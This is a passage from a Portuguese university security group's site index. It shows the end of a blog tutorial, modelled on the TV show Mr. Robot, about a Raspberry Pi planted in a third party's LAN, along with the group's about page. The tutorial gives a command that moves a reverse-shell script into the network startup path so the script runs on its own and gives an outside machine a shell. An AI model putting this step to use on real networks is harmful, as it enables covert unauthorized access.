LAN de terceiros. A partir desse ponto nos desviamos um pouco do artigo que utilizamos como base. No lugar de teclado, tela e demais periféricos, colocaremos nosso script no diretório /etc/network/interfaces/ifup.\n1 mv reverse /etc/network/interfaces/ifup Dessa forma, assim que a interface de rede do nosso dispositivo começar a funcionar ele executará o script, que fornecerá a shell para a máquina de fora da LAN.\nRessalvas:\nPara testar, utilize duas máquinas na mesma LAN, ou a máquina que escuta deverá ter um IP real ou ter um portfoward settado no roteador para que as conexões recebidas em detarmidana porta sejam redirecionadas para a máquina que está escutando. Quaisquer dúvidas, entre em contato via email: lgribeiro at gris.dcc.ufrj.br\n","permalink":"http://grisufrj.github.io/blog/2016-11-07-mr-robot-raspberry-pi/","summary":"Algum tempo atrás estava dando uma olhada nos posts da série Mr Robot do null-byte e um artigo em especial me chamou a atenção.\nA publicação sobre como criar um raspberry para hacking não retrata fielmente as condições encontradas por Elliot no episódio eps1.3__da3m0ns.mp4. Então, optei por adaptar um pouco o tutorial para ele se tornar mais parecido com o conteúdo apresentado na televisão. De início, os passos serão bem semelhantes aos apresentados pelo null-byte mas no final, teremos um algo a mais.","title":"Mr. robot's raspberry Pi"},{"content":"O Grupo de Resposta a Incidentes de Segurança (GRIS) foi criado em novembro de 2003 na Universidade Federal do Rio de Janeiro (UFRJ) e formalizado em maio de 2004. Atualmente, opera no Instituto de Ciência da Computação, na Escola Politécnica e em outras unidades solicitantes da UFRJ. Temos como objetivo a detecção, resolução e prevenção de incidentes de segurança, além de oferecer suporte acadêmico aos estudantes da UFRJ que possuam interesse particular na área de segurança da informação. Dentre as principais atividades do GRIS estão:\nAplicar atualizações de segurança Registrar e acompanhar ocorrências de segurança Avaliar condições de segurança da rede Divulgar práticas e recomendações de segurança Auxiliar no reparo a danos causados por incidentes de segurança Analisar sistemas comprometidos buscando causas, danos e responsáveis (análise forense) Oferecer educação e treinamento para administradores de sistemas A missão maior do GRIS, como projeto, é oferecer orientação e suporte acadêmico aos alunos dos cursos de Bacharelado da UFRJ, sem fins lucrativos, no que tange a temática da Segurança da Informação em todas as suas vertentes, nos âmbitos de ensino, pesquisa e extensão, e este é o principal, senão único, critério de orientação para questões internas e externas.\n","permalink":"http://grisufrj.github.io/sobre/","summary":"O Grupo de Resposta a Incidentes de Segurança (GRIS) foi criado em novembro de 2003 na Universidade Federal do Rio de Janeiro (UFRJ) e formalizado em maio de 2004. Atualmente, opera no Instituto de Ciência da Computação, na Escola Politécnica e em outras unidades solicitantes da UFRJ. Temos como objetivo a detecção, resolução e prevenção de incidentes de segurança, além de oferecer suporte acadêmico aos estudantes da UFRJ que possuam interesse particular na área de segurança da informação.","title":"Sobre o GRIS"}]